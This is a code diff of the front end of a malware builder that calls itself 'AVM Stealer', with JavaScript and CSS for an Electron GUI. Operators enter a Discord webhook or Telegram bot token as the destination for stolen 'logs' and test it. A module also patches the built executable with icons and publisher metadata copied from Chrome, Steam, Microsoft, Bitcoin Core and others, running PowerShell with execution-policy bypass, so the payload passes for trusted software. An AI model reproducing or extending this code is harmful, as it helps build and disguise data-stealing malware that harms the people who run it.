document.addEventListener('DOMContentLoaded', () => {
|
||||
function saveCheckboxStates() {
|
||||
const checkboxes = document.querySelectorAll('.checkbox-item input[type="checkbox"]');
|
||||
const states = {};
|
||||
checkboxes.forEach(checkbox => {
|
||||
states[checkbox.id] = checkbox.checked;
|
||||
});
|
||||
localStorage.setItem('checkboxStates', JSON.stringify(states));
|
||||
saveCheckboxStatesToFile();
|
||||
}
|
||||
function loadCheckboxStates() {
|
||||
const states = JSON.parse(localStorage.getItem('checkboxStates')) || {};
|
||||
console.log('Checkbox states loaded from localStorage:', states);
|
||||
const checkboxes = document.querySelectorAll('.checkbox-item input[type="checkbox"]');
|
||||
checkboxes.forEach(checkbox => {
|
||||
checkbox.checked = states[checkbox.id] || false;
|
||||
});
|
||||
}
|
||||
function updateToggleButton() {
|
||||
const checkboxes = document.querySelectorAll('.checkbox-item input[type="checkbox"]');
|
||||
const allChecked = Array.from(checkboxes).every(checkbox => checkbox.checked);
|
||||
document.getElementById('toggleButton').textContent = allChecked ? 'Uncheck All' : 'Check All';
|
||||
}
|
||||
function toggleAllCheckboxes() {
|
||||
const checkboxes = document.querySelectorAll('.checkbox-item input[type="checkbox"]');
|
||||
const checkAll = document.getElementById('toggleButton').textContent === 'Check All';
|
||||
checkboxes.forEach(checkbox => {
|
||||
checkbox.checked = checkAll;
|
||||
});
|
||||
saveCheckboxStates();
|
||||
updateToggleButton();
|
||||
}
|
||||
loadCheckboxStates();
|
||||
loadCheckboxStatesFromFile();
|
||||
updateToggleButton();
|
||||
document.querySelectorAll('.checkbox-item input[type="checkbox"]').forEach(checkbox => {
|
||||
checkbox.addEventListener('change', () => {
|
||||
saveCheckboxStates();
|
||||
updateToggleButton();
|
||||
});
|
||||
});
|
||||
document.getElementById('toggleButton').addEventListener('click', toggleAllCheckboxes);
|
||||
});
|
||||
@@ -0,0 +1,247 @@
|
||||
const sidebar = document.querySelector('.sidebar');
|
||||
const togglebtn = document.querySelector('.toggle-btn');
|
||||
togglebtn.addEventListener('click', () => {
|
||||
sidebar.classList.toggle('active');
|
||||
});
|
||||
document.addEventListener('DOMContentLoaded', () => {
|
||||
const discordInput = document.getElementById('input1');
|
||||
const telegramTokenInput = document.getElementById('input2');
|
||||
const telegramChatIdInput = document.getElementById('input3');
|
||||
const testButton = document.getElementById('testButton');
|
||||
const saveButton = document.querySelector('label[for="input-file"]');
|
||||
const helpButton = document.getElementById('helpButton');
|
||||
const clearButton = document.getElementById('clearButton');
|
||||
const { ipcRenderer } = require('electron');
|
||||
const urlParams = new URLSearchParams(window.location.search);
|
||||
if (urlParams.get('error') === 'missing_info') {
|
||||
setTimeout(() => {
|
||||
showNotification('Please provide and SAVE your Log Informations before building.', 'warning');
|
||||
}, 500);
|
||||
}
|
||||
async function loadSavedInfo() {
|
||||
try {
|
||||
const data = await ipcRenderer.invoke('get-info');
|
||||
if (data) {
|
||||
discordInput.value = data.discordWebhookURL || '';
|
||||
telegramTokenInput.value = data.telegramBotToken || '';
|
||||
telegramChatIdInput.value = data.telegramChatID || '';
|
||||
localStorage.setItem('discordWebhookURL', discordInput.value);
|
||||
localStorage.setItem('telegramBotToken', telegramTokenInput.value);
|
||||
localStorage.setItem('telegramChatID', telegramChatIdInput.value);
|
||||
updateInputStates();
|
||||
}
|
||||
} catch (error) {
|
||||
console.error('Failed to load saved info:', error);
|
||||
}
|
||||
}
|
||||
loadSavedInfo();
|
||||
async function sendTestEmbed(webhookURL) {
|
||||
const testEmbed = {
|
||||
title: '**Your Webhook Works Perfectly ✅**',
|
||||
author: {
|
||||
name: 'AVM Builder',
|
||||
icon_url: 'https://i.ibb.co/84zCWC73/icon.png'
|
||||
},
|
||||
color: 0x303037,
|
||||
footer: {
|
||||
text: 'AVM | Made by @WallGod69',
|
||||
},
|
||||
};
|
||||
try {
|
||||
await axios.post(webhookURL, { embeds: [testEmbed] });
|
||||
showNotification('Discord Webhook Test Message Sent Successfully!', 'success');
|
||||
} catch (error) {
|
||||
console.error('Failed to send test message to Discord Webhook.', error);
|
||||
if (error.response) {
|
||||
showNotification(`Failed to send test message to Discord Webhook.\nStatus: ${error.response.status}\nMessage: ${error.response.data}`, 'error');
|
||||
} else {
|
||||
showNotification('Failed to send test message to Discord Webhook.\nError: ' + error.message, 'error');
|
||||
}
|
||||
}
|
||||
}
|
||||
async function sendTestMessage(botToken, chatId) {
|
||||
const apiUrl = `https://api.telegram.org/bot${botToken}/sendMessage`;
|
||||
const testMessage = {
|
||||
chat_id: chatId,
|
||||
text: 'Your Telegram Bot is ready to receive logs. ✅\n\n━━━━━━\nAVM Stealer',
|
||||
parse_mode: 'Markdown',
|
||||
};
|
||||
try {
|
||||
await axios.post(apiUrl, testMessage);
|
||||
showNotification('Telegram Bot Test Message Sent Successfully!', 'success');
|
||||
} catch (error) {
|
||||
console.error('Failed to send test message to Telegram Bot.', error);
|
||||
if (error.response) {
|
||||
showNotification(`Failed to send test message to Telegram Bot.\nStatus: ${error.response.status}\nMessage: ${error.response.data.description}`, 'error');
|
||||
} else {
|
||||
showNotification('Failed to send test message to Telegram Bot.\nError: ' + error.message, 'error');
|
||||
}
|
||||
}
|
||||
}
|
||||
function isValidDiscordWebhookURL(url) {
|
||||
const regex = /^https:\/\/discord\.com\/api\/webhooks\/\d+\/[\w-]{68}$/;
|
||||
return regex.test(url);
|
||||
}
|
||||
function isValidTelegramBotToken(token) {
|
||||
const regex = /^\d{9,12}:[\w-]{35}$/;
|
||||
return regex.test(token);
|
||||
}
|
||||
function isValidTelegramChatID(chatID) {
|
||||
const regex = /^-?\d+$/;
|
||||
return regex.test(chatID);
|
||||
}
|
||||
function updateInputStates() {
|
||||
const discordText = discordInput.value.trim();
|
||||
const telegramTokenText = telegramTokenInput.value.trim();
|
||||
const telegramChatIdText = telegramChatIdInput.value.trim();
|
||||
if (discordText) {
|
||||
telegramTokenInput.disabled = true;
|
||||
telegramChatIdInput.disabled = true;
|
||||
telegramTokenInput.classList.add('locked');
|
||||
telegramChatIdInput.classList.add('locked');
|
||||
discordInput.disabled = false;
|
||||
discordInput.classList.remove('locked');
|
||||
} else if (telegramTokenText || telegramChatIdText) {
|
||||
discordInput.disabled = true;
|
||||
discordInput.classList.add('locked');
|
||||
telegramTokenInput.disabled = false;
|
||||
telegramChatIdInput.disabled = false;
|
||||
telegramTokenInput.classList.remove('locked');
|
||||
telegramChatIdInput.classList.remove('locked');
|
||||
} else {
|
||||
discordInput.disabled = false;
|
||||
telegramTokenInput.disabled = false;
|
||||
telegramChatIdInput.disabled = false;
|
||||
discordInput.classList.remove('locked');
|
||||
telegramTokenInput.classList.remove('locked');
|
||||
telegramChatIdInput.classList.remove('locked');
|
||||
}
|
||||
}
|
||||
discordInput.addEventListener('input', updateInputStates);
|
||||
telegramTokenInput.addEventListener('input', updateInputStates);
|
||||
telegramChatIdInput.addEventListener('input', updateInputStates);
|
||||
function saveInfo() {
|
||||
const discordWebhookURL = discordInput.value.trim();
|
||||
const telegramBotToken = telegramTokenInput.value.trim();
|
||||
const telegramChatID = telegramChatIdInput.value.trim();
|
||||
if ((discordWebhookURL && isValidDiscordWebhookURL(discordWebhookURL)) ||
|
||||
(telegramBotToken && isValidTelegramBotToken(telegramBotToken) && telegramChatID && isValidTelegramChatID(telegramChatID))) {
|
||||
localStorage.setItem('discordWebhookURL', discordWebhookURL);
|
||||
localStorage.setItem('telegramBotToken', telegramBotToken);
|
||||
localStorage.setItem('telegramChatID', telegramChatID);
|
||||
const data = {
|
||||
discordWebhookURL: discordWebhookURL,
|
||||
telegramBotToken: telegramBotToken,
|
||||
telegramChatID: telegramChatID
|
||||
};
|
||||
const fs = require('fs');
|
||||
const path = require('path');
|
||||
fs.writeFile(path.join(__dirname, '..', 'info.json'), JSON.stringify(data, null, 2), (err) => {
|
||||
if (err) {
|
||||
console.error('Failed to save info to JSON file.', err);
|
||||
} else {
|
||||
console.log('Information saved to JSON file successfully!');
|
||||
}
|
||||
});
|
||||
ipcRenderer.invoke('save-info', data).then(() => {
|
||||
showNotification('Information saved successfully!', 'success');
|
||||
}).catch(err => {
|
||||
console.error('Failed to save to appdata:', err);
|
||||
showNotification('Failed to save settings to AppData.', 'error');
|
||||
});
|
||||
} else {
|
||||
showNotification('Please provide a valid Discord Webhook URL or valid Telegram Bot Token and Chat ID before saving.', 'error');
|
||||
}
|
||||
}
|
||||
saveButton.addEventListener('click', () => {
|
||||
saveInfo();
|
||||
});
|
||||
clearButton.addEventListener('click', async () => {
|
||||
discordInput.value = '';
|
||||
telegramTokenInput.value = '';
|
||||
telegramChatIdInput.value = '';
|
||||
localStorage.removeItem('discordWebhookURL');
|
||||
localStorage.removeItem('telegramBotToken');
|
||||
localStorage.removeItem('telegramChatID');
|
||||
updateInputStates();
|
||||
const data = {
|
||||
discordWebhookURL: '',
|
||||
telegramBotToken: '',
|
||||
telegramChatID: ''
|
||||
};
|
||||
try {
|
||||
await ipcRenderer.invoke('save-info', data);
|
||||
const fs = require('fs');
|
||||
const path = require('path');
|
||||
fs.writeFile(path.join(__dirname, '..', 'info.json'), JSON.stringify(data, null, 2), (err) => {
|
||||
if (err) console.error('Failed to clear info.json:', err);
|
||||
});
|
||||
showNotification('Information cleared successfully!', 'info');
|
||||
} catch (err) {
|
||||
console.error('Failed to clear info:', err);
|
||||
showNotification('Failed to clear settings.', 'error');
|
||||
}
|
||||
});
|
||||
testButton.addEventListener('click', () => {
|
||||
const discordWebhookURL = discordInput.value.trim();
|
||||
const telegramBotToken = telegramTokenInput.value.trim();
|
||||
const telegramChatID = telegramChatIdInput.value.trim();
|
||||
if (discordWebhookURL && isValidDiscordWebhookURL(discordWebhookURL)) {
|
||||
sendTestEmbed(discordWebhookURL);
|
||||
} else if (discordWebhookURL) {
|
||||
showNotification('Please provide a valid Discord Webhook URL.', 'error');
|
||||
}
|
||||
if (telegramBotToken && isValidTelegramBotToken(telegramBotToken) && telegramChatID && isValidTelegramChatID(telegramChatID)) {
|
||||
sendTestMessage(telegramBotToken, telegramChatID);
|
||||
} else if (telegramBotToken || telegramChatID) {
|
||||
showNotification('Please provide a valid Telegram Bot Token and Chat ID.', 'error');
|
||||
}
|
||||
if (!discordWebhookURL && (!telegramBotToken || !telegramChatID)) {
|
||||
showNotification('Please provide at least one valid webhook URL or bot token and chat ID.', 'warning');
|
||||
}
|
||||
});
|
||||
function showError(input, bubble) {
|
||||
bubble.classList.add('show');
|
||||
input.style.borderColor = '#ff4757';
|
||||
setTimeout(() => {
|
||||
bubble.classList.remove('show');
|
||||
input.style.borderColor = 'rgba(255, 255, 255, 0.1)';
|
||||
input.value = '';
|
||||
updateInputStates();
|
||||
}, 3000);
|
||||
}
|
||||
[discordInput, telegramTokenInput, telegramChatIdInput].forEach(input => {
|
||||
input.addEventListener('change', () => {
|
||||
const val = input.value.trim();
|
||||
if (val === '') return;
|
||||
const bubble = input.parentElement.querySelector('.error-bubble');
|
||||
let isValid = false;
|
||||
if (input === discordInput) {
|
||||
isValid = isValidDiscordWebhookURL(val);
|
||||
} else if (input === telegramTokenInput) {
|
||||
isValid = isValidTelegramBotToken(val);
|
||||
} else if (input === telegramChatIdInput) {
|
||||
isValid = isValidTelegramChatID(val);
|
||||
}
|
||||
if (!isValid) {
|
||||
showError(input, bubble);
|
||||
}
|
||||
});
|
||||
});
|
||||
updateInputStates();
|
||||
});
|
||||
function openHelp(type) {
|
||||
const urls = {
|
||||
discord: 'https://youtu.be/fKksxz2Gdnc?si=T3rRJJ-pR5o74zG1',
|
||||
telegramToken: 'https://t.me/BotFather',
|
||||
telegramChat: 'https://t.me/chatIDrobot'
|
||||
};
|
||||
const url = urls[type];
|
||||
if (url) {
|
||||
require('electron').shell.openExternal(url);
|
||||
}
|
||||
}
|
||||
function showHelpMessage() {
|
||||
showNotification('Click on the question mark icons (?) next to each input field for more information.', 'info');
|
||||
}
|
||||
document.getElementById('helpButton').addEventListener('click', showHelpMessage);
|
||||
@@ -0,0 +1,39 @@
|
||||
function showNotification(message, type = 'info', duration = 3000) {
|
||||
let container = document.getElementById('notification-container');
|
||||
if (!container) {
|
||||
container = document.createElement('div');
|
||||
container.id = 'notification-container';
|
||||
document.body.appendChild(container);
|
||||
}
|
||||
const notification = document.createElement('div');
|
||||
notification.className = `notification ${type}`;
|
||||
let iconClass = 'bx-info-circle';
|
||||
if (type === 'success') iconClass = 'bx-check-circle';
|
||||
if (type === 'error') iconClass = 'bx-x-circle';
|
||||
notification.innerHTML = `
|
||||
<i class='bx ${iconClass}'></i>
|
||||
<div class="notification-content">
|
||||
<div class="notification-message">${message}</div>
|
||||
</div>
|
||||
`;
|
||||
container.appendChild(notification);
|
||||
notification.offsetHeight;
|
||||
requestAnimationFrame(() => {
|
||||
notification.classList.add('show');
|
||||
});
|
||||
|
||||
const remove = () => {
|
||||
notification.classList.remove('show');
|
||||
setTimeout(() => {
|
||||
if (notification.parentNode) {
|
||||
notification.remove();
|
||||
}
|
||||
}, 400);
|
||||
};
|
||||
|
||||
if (duration > 0) {
|
||||
setTimeout(remove, duration);
|
||||
}
|
||||
|
||||
return { remove };
|
||||
}
|
||||
@@ -0,0 +1,209 @@
|
||||
|
||||
|
||||
|
||||
console.log('[Resource Popup] Script file loaded - Encoding Fix');
|
||||
|
||||
const PREDEFINED_METADATA = {
|
||||
'chrome.ico': { productName: 'Google Chrome', companyName: 'Google LLC', description: 'Google Chrome Web Browser', copyright: 'Copyright (c) 2024 Google LLC', fileVersion: '120.0.6099.130', productVersion: '120.0.6099.130' },
|
||||
'epic games.ico': { productName: 'Epic Games Launcher', companyName: 'Epic Games, Inc.', description: 'Epic Games Launcher Setup', copyright: 'Copyright (c) 2024 Epic Games, Inc.', fileVersion: '15.17.1.0', productVersion: '15.17.1.0' },
|
||||
'obs.ico': { productName: 'OBS Studio', companyName: 'OBS Project', description: 'Open Broadcaster Software', copyright: 'Copyright (c) 2024 OBS Project', fileVersion: '30.0.2.0', productVersion: '30.0.2.0' },
|
||||
'setup.ico': { productName: 'Setup Installer', companyName: 'Microsoft Corporation', description: 'Windows Setup Installer', copyright: 'Copyright (c) 2024 Microsoft Corporation', fileVersion: '10.0.19041.1', productVersion: '10.0.19041.1' },
|
||||
'steam.ico': { productName: 'Steam', companyName: 'Valve Corporation', description: 'Steam Gaming Platform', copyright: 'Copyright (c) 2024 Valve Corporation', fileVersion: '2.10.91.91', productVersion: '2.10.91.91' },
|
||||
'systeminformer.ico': { productName: 'System Informer', companyName: 'Winsider Seminars & Solutions, Inc.', description: 'System Informer', copyright: 'Copyright (c) 2024 Winsider Seminars', fileVersion: '3.0.7258.0', productVersion: '3.0.7258.0' },
|
||||
'bitcoin.ico': { productName: 'Bitcoin Core', companyName: 'The Bitcoin Core Developers', description: 'Bitcoin Core', copyright: 'Copyright (C) 2009-2024 The Bitcoin Core Developers', fileVersion: '28.1.0.0', productVersion: '28.1.0.0' },
|
||||
'hwinfo.ico': { productName: 'System Informer', companyName: 'Winsider Seminars & Solutions, Inc.', description: 'System Informer', copyright: 'Copyright (c) 2024 Winsider Seminars', fileVersion: '3.0.7258.0', productVersion: '3.0.7258.0' }
|
||||
};
|
||||
|
||||
let currentIconPath = null;
|
||||
let resourcePopupInitialized = false;
|
||||
|
||||
function getRootPath() {
|
||||
let cwd = process.cwd();
|
||||
if (cwd.toLowerCase().endsWith('gui') || cwd.toLowerCase().endsWith('gui\\')) return path.join(cwd, '..');
|
||||
return cwd;
|
||||
}
|
||||
|
||||
|
||||
window.initResourcePopup = function () {
|
||||
if (resourcePopupInitialized) return;
|
||||
|
||||
const modal = document.getElementById('resourceModal');
|
||||
const gridItems = document.querySelectorAll('.grid-item');
|
||||
const btnRandomIcon = document.getElementById('btnRandomIcon');
|
||||
const btnApplyResources = document.getElementById('btnApplyResources');
|
||||
const iconPreview = document.getElementById('iconPreview');
|
||||
const selectedIconName = document.getElementById('selectedIconName');
|
||||
|
||||
const closeBtn = document.querySelector('.close-modal');
|
||||
if (closeBtn) closeBtn.onclick = () => modal.classList.remove('active');
|
||||
|
||||
const btnChooseIcon = document.getElementById('btnChooseIcon');
|
||||
const iconFileInput = document.getElementById('iconFileInput');
|
||||
|
||||
if (btnChooseIcon && iconFileInput) {
|
||||
btnChooseIcon.onclick = () => iconFileInput.click();
|
||||
iconFileInput.onchange = (e) => {
|
||||
const file = e.target.files[0];
|
||||
if (file) {
|
||||
|
||||
updateIconPreview(file.path, true);
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
function updateIconPreview(filePath, isCustom = false) {
|
||||
currentIconPath = filePath;
|
||||
let filename = filePath.split(/[/\\]/).pop();
|
||||
|
||||
const m = PREDEFINED_METADATA[filename.toLowerCase()];
|
||||
if (m) {
|
||||
document.getElementById('inputCompanyName').value = m.companyName;
|
||||
document.getElementById('inputProductName').value = m.productName;
|
||||
document.getElementById('inputDescription').value = m.description;
|
||||
document.getElementById('inputCopyright').value = m.copyright;
|
||||
document.getElementById('inputFileVersion').value = m.fileVersion || '1.0.0.0';
|
||||
document.getElementById('inputProductVersion').value = m.productVersion || '1.0.0.0';
|
||||
}
|
||||
|
||||
if (iconPreview) {
|
||||
if (isCustom) {
|
||||
try {
|
||||
const iconData = fs.readFileSync(filePath);
|
||||
const base64Icon = iconData.toString('base64');
|
||||
iconPreview.src = `data:image/x-icon;base64,${base64Icon}`;
|
||||
} catch (err) {
|
||||
console.error('Error loading custom icon:', err);
|
||||
iconPreview.src = `../../icon/default.ico`;
|
||||
}
|
||||
} else {
|
||||
iconPreview.src = `../../icon/${filename}`;
|
||||
}
|
||||
iconPreview.style.display = 'block';
|
||||
const placeholder = document.querySelector('.placeholder-icon');
|
||||
if (placeholder) placeholder.style.display = 'none';
|
||||
}
|
||||
if (selectedIconName) selectedIconName.textContent = filename;
|
||||
}
|
||||
|
||||
gridItems.forEach(item => {
|
||||
item.onclick = () => updateIconPreview(path.join(getRootPath(), 'icon', item.getAttribute('data-filename')));
|
||||
});
|
||||
|
||||
if (btnRandomIcon) {
|
||||
btnRandomIcon.onclick = () => {
|
||||
const keys = Object.keys(PREDEFINED_METADATA);
|
||||
updateIconPreview(path.join(getRootPath(), 'icon', keys[Math.floor(Math.random() * keys.length)]));
|
||||
};
|
||||
}
|
||||
|
||||
if (btnApplyResources) {
|
||||
btnApplyResources.onclick = () => {
|
||||
if (btnApplyResources.classList.contains('loading')) return;
|
||||
|
||||
if (!currentIconPath) {
|
||||
showNotification('Please select an icon!', 'error');
|
||||
return;
|
||||
}
|
||||
|
||||
const buildFolder = path.join(getRootPath(), 'build');
|
||||
let exePath = path.join(buildFolder, 'App.exe');
|
||||
if (!fs.existsSync(exePath)) exePath = path.join(buildFolder, 'app.exe');
|
||||
|
||||
if (!fs.existsSync(exePath)) {
|
||||
showNotification('Executable not found in build/ folder!', 'error');
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
btnApplyResources.classList.add('loading');
|
||||
const originalInnerHTML = btnApplyResources.innerHTML;
|
||||
btnApplyResources.innerHTML = `<i class='bx bx-loader-alt'></i> Processing...`;
|
||||
|
||||
|
||||
let companyName = document.getElementById('inputCompanyName').value || 'Microsoft Corporation';
|
||||
companyName = companyName.replace(/[^\x00-\x7F]/g, "");
|
||||
|
||||
window.executeRessources(exePath, currentIconPath, companyName, buildFolder, originalInnerHTML);
|
||||
};
|
||||
}
|
||||
|
||||
resourcePopupInitialized = true;
|
||||
};
|
||||
|
||||
window.executeRessources = function (exePath, iconPath, companyName, buildFolder, originalInnerHTML) {
|
||||
const { spawn } = require('child_process');
|
||||
|
||||
const scriptPath = path.join(buildFolder, 'ressources.ps1');
|
||||
|
||||
const args = [
|
||||
'-ExecutionPolicy', 'Bypass',
|
||||
'-File', scriptPath,
|
||||
'-ExePath', exePath,
|
||||
'-IconPath', iconPath,
|
||||
'-CompanyName', companyName
|
||||
];
|
||||
|
||||
const patcher = spawn('powershell.exe', args, { cwd: buildFolder });
|
||||
let success = false;
|
||||
|
||||
patcher.stdout.on('data', (data) => {
|
||||
const out = data.toString();
|
||||
console.log('[Patcher Output]', out);
|
||||
if (out.includes('[OK] Success')) success = true;
|
||||
});
|
||||
|
||||
patcher.stderr.on('data', (data) => console.error('[Patcher Error]', data.toString()));
|
||||
|
||||
patcher.on('close', (code) => {
|
||||
const btn = document.getElementById('btnApplyResources');
|
||||
if (btn && originalInnerHTML) {
|
||||
btn.classList.remove('loading');
|
||||
btn.innerHTML = originalInnerHTML;
|
||||
}
|
||||
|
||||
if (window.currentLoadingNotification) {
|
||||
window.currentLoadingNotification.remove();
|
||||
window.currentLoadingNotification = null;
|
||||
}
|
||||
|
||||
if (code === 0 && success) {
|
||||
const buildName = `Build_${Math.random().toString(36).substring(7).toUpperCase()}.exe`;
|
||||
const finalPath = path.join(getRootPath(), buildName);
|
||||
|
||||
try {
|
||||
fs.renameSync(exePath, finalPath);
|
||||
showNotification(`✅ SUCCESS: ${buildName}`, 'success');
|
||||
const modal = document.getElementById('resourceModal');
|
||||
if (modal) modal.classList.remove('active');
|
||||
} catch (e) {
|
||||
showNotification('Error moving binary: ' + e.message, 'error');
|
||||
}
|
||||
} else {
|
||||
showNotification('Patcher Failed! Check console logs.', 'error');
|
||||
}
|
||||
});
|
||||
};
|
||||
|
||||
window.applyDefaultResources = function () {
|
||||
const buildFolder = path.join(getRootPath(), 'build');
|
||||
let exePath = path.join(buildFolder, 'App.exe');
|
||||
if (!fs.existsSync(exePath)) exePath = path.join(buildFolder, 'app.exe');
|
||||
|
||||
if (!fs.existsSync(exePath)) {
|
||||
showNotification('Executable not found in build/ folder!', 'error');
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
const iconPath = path.join(getRootPath(), 'icon', 'systeminformer.ico');
|
||||
const companyName = "Winsider Seminars & Solutions, Inc.";
|
||||
|
||||
|
||||
if (!fs.existsSync(iconPath)) {
|
||||
showNotification('Default icon (systeminformer.ico) not found!', 'error');
|
||||
return;
|
||||
}
|
||||
|
||||
window.currentLoadingNotification = showNotification('Applying Default Resources<span class="loading-dots"></span>', 'info', 0);
|
||||
window.executeRessources(exePath, iconPath, companyName, buildFolder, null);
|
||||
};
|
||||
@@ -0,0 +1,4 @@
|
||||
document.body.classList.add('fade-out');
|
||||
setTimeout(() => {
|
||||
document.body.classList.remove('fade-out');
|
||||
}, 500);
|
||||
|
After Width: | Height: | Size: 18 MiB |
|
After Width: | Height: | Size: 229 KiB |
|
After Width: | Height: | Size: 329 KiB |
@@ -0,0 +1,198 @@
|
||||
/* CSS */
|
||||
::-webkit-scrollbar {
|
||||
display: none;
|
||||
}
|
||||
|
||||
* {
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
box-sizing: border-box;
|
||||
font-family: 'Poppins', sans-serif;
|
||||
}
|
||||
|
||||
body {
|
||||
min-height: 100vh;
|
||||
background: url(img/bg.gif) no-repeat;
|
||||
background-size: cover;
|
||||
background-position: center;
|
||||
user-select: none;
|
||||
display: flex;
|
||||
}
|
||||
|
||||
.sidebar {
|
||||
position: fixed;
|
||||
top: 0;
|
||||
left: 0;
|
||||
width: 80px;
|
||||
height: 100%;
|
||||
background: transparent;
|
||||
backdrop-filter: blur(4px);
|
||||
padding: 6px 14px;
|
||||
transition: .5s;
|
||||
overflow: hidden;
|
||||
z-index: 2000;
|
||||
}
|
||||
|
||||
.sidebar.active {
|
||||
width: 260px;
|
||||
}
|
||||
|
||||
.sidebar .logo-menu {
|
||||
display: flex;
|
||||
white-space: nowrap;
|
||||
align-items: center;
|
||||
width: 100%;
|
||||
height: 70px;
|
||||
}
|
||||
|
||||
.sidebar .logo-menu .logo {
|
||||
font-size: 23px;
|
||||
color: #fff;
|
||||
pointer-events: none;
|
||||
opacity: 0;
|
||||
transition: .3s;
|
||||
text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8);
|
||||
}
|
||||
|
||||
.sidebar.active .logo-menu .logo {
|
||||
opacity: 1;
|
||||
transition-delay: .2s;
|
||||
}
|
||||
|
||||
.sidebar .logo-menu .toggle-btn {
|
||||
position: absolute;
|
||||
left: 50%;
|
||||
transform: translateX(-50%);
|
||||
width: 40px;
|
||||
height: 40px;
|
||||
font-size: 22px;
|
||||
color: #fff;
|
||||
text-align: center;
|
||||
line-height: 40px;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
.sidebar.active .logo-menu .toggle-btn {
|
||||
left: 90%;
|
||||
}
|
||||
|
||||
.sidebar .list {
|
||||
margin-top: 10px;
|
||||
}
|
||||
|
||||
.list .list-item {
|
||||
list-style: none;
|
||||
width: 100%;
|
||||
height: 50px;
|
||||
margin: 5px 0;
|
||||
line-height: 50px;
|
||||
}
|
||||
|
||||
.list .list-item a {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
font-size: 18px;
|
||||
color: #fff;
|
||||
text-decoration: none;
|
||||
border-radius: 6px;
|
||||
white-space: nowrap;
|
||||
transition: .5s;
|
||||
}
|
||||
|
||||
.list .list-item.active a,
|
||||
.list .list-item a:hover {
|
||||
background: rgba(255, 255, 255, .2);
|
||||
}
|
||||
|
||||
.list .list-item a i {
|
||||
min-width: 50px;
|
||||
height: 50px;
|
||||
text-align: center;
|
||||
line-height: 50px;
|
||||
}
|
||||
|
||||
.sidebar .link_name {
|
||||
opacity: 0;
|
||||
pointer-events: none;
|
||||
transition: .3s;
|
||||
text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8);
|
||||
}
|
||||
|
||||
.sidebar.active .link_name {
|
||||
opacity: 1;
|
||||
pointer-events: auto;
|
||||
transition-delay: calc(.1s * var(--i));
|
||||
}
|
||||
|
||||
.container {
|
||||
flex: 1;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
}
|
||||
|
||||
.maintitle {
|
||||
user-select: none;
|
||||
margin-bottom: 20px;
|
||||
color: white;
|
||||
font-weight: bold;
|
||||
font-size: 20px;
|
||||
text-shadow: 2px 2px 4px rgba(0, 0, 0, 0.8);
|
||||
}
|
||||
|
||||
.text-background {
|
||||
background: rgba(255, 255, 255, 0.01);
|
||||
backdrop-filter: blur(2px);
|
||||
border: 1px solid rgba(255, 255, 255, 0.1);
|
||||
padding: 35px;
|
||||
border-radius: 12px;
|
||||
box-shadow: 0 10px 30px rgba(0, 0, 0, 0.2);
|
||||
max-width: 1000px;
|
||||
text-align: center;
|
||||
margin: 0 auto;
|
||||
}
|
||||
|
||||
.text-background p {
|
||||
color: #fff;
|
||||
font-size: 18px;
|
||||
line-height: 1.3;
|
||||
text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8);
|
||||
}
|
||||
|
||||
.button-container {
|
||||
position: fixed;
|
||||
top: 55%;
|
||||
right: 20px;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: center;
|
||||
transform: translateY(-50%);
|
||||
}
|
||||
|
||||
.button-container .linkButton {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
font-size: 30px;
|
||||
color: #fff;
|
||||
background: rgba(80, 166, 239, 0.2);
|
||||
border: 1px solid rgba(80, 166, 239, 0.5);
|
||||
border-radius: 50%;
|
||||
width: 60px;
|
||||
height: 60px;
|
||||
margin: 10px;
|
||||
backdrop-filter: blur(2px);
|
||||
transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
|
||||
text-decoration: none;
|
||||
text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8);
|
||||
}
|
||||
|
||||
.button-container .linkButton:hover {
|
||||
background: #50A6EF;
|
||||
border-color: #50A6EF;
|
||||
color: #fff;
|
||||
transform: translateY(-3px);
|
||||
box-shadow: 0 5px 15px rgba(80, 166, 239, 0.4);
|
||||
text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8);
|
||||
}
|
||||
@@ -0,0 +1,353 @@
|
||||
::-webkit-scrollbar {
|
||||
display: none;
|
||||
}
|
||||
|
||||
* {
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
box-sizing: border-box;
|
||||
font-family: 'Poppins', sans-serif;
|
||||
}
|
||||
|
||||
body {
|
||||
min-height: 100vh;
|
||||
background: url(img/bg.gif) no-repeat;
|
||||
background-size: cover;
|
||||
background-position: center;
|
||||
}
|
||||
|
||||
.sidebar {
|
||||
position: fixed;
|
||||
top: 0;
|
||||
left: 0;
|
||||
width: 80px;
|
||||
height: 100%;
|
||||
background: transparent;
|
||||
backdrop-filter: blur(4px);
|
||||
padding: 6px 14px;
|
||||
transition: .5s;
|
||||
overflow: hidden;
|
||||
z-index: 2000;
|
||||
}
|
||||
|
||||
.sidebar.active {
|
||||
width: 260px;
|
||||
}
|
||||
|
||||
.sidebar .logo-menu {
|
||||
display: flex;
|
||||
white-space: nowrap;
|
||||
align-items: center;
|
||||
width: 100%;
|
||||
height: 70px;
|
||||
|
||||
}
|
||||
|
||||
.sidebar .logo-menu .logo {
|
||||
font-size: 23px;
|
||||
color: #fff;
|
||||
pointer-events: none;
|
||||
opacity: 0;
|
||||
transition: .3s;
|
||||
text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8);
|
||||
}
|
||||
|
||||
.sidebar.active .logo-menu .logo {
|
||||
opacity: 1;
|
||||
transition-delay: .2s;
|
||||
}
|
||||
|
||||
|
||||
.sidebar .logo-menu .toggle-btn {
|
||||
position: absolute;
|
||||
left: 50%;
|
||||
transform: translateX(-50%);
|
||||
width: 40px;
|
||||
height: 40px;
|
||||
font-size: 22px;
|
||||
color: #fff;
|
||||
text-align: center;
|
||||
line-height: 40px;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
.sidebar.active .logo-menu .toggle-btn {
|
||||
left: 90%;
|
||||
}
|
||||
|
||||
.sidebar .list {
|
||||
margin-top: 10px;
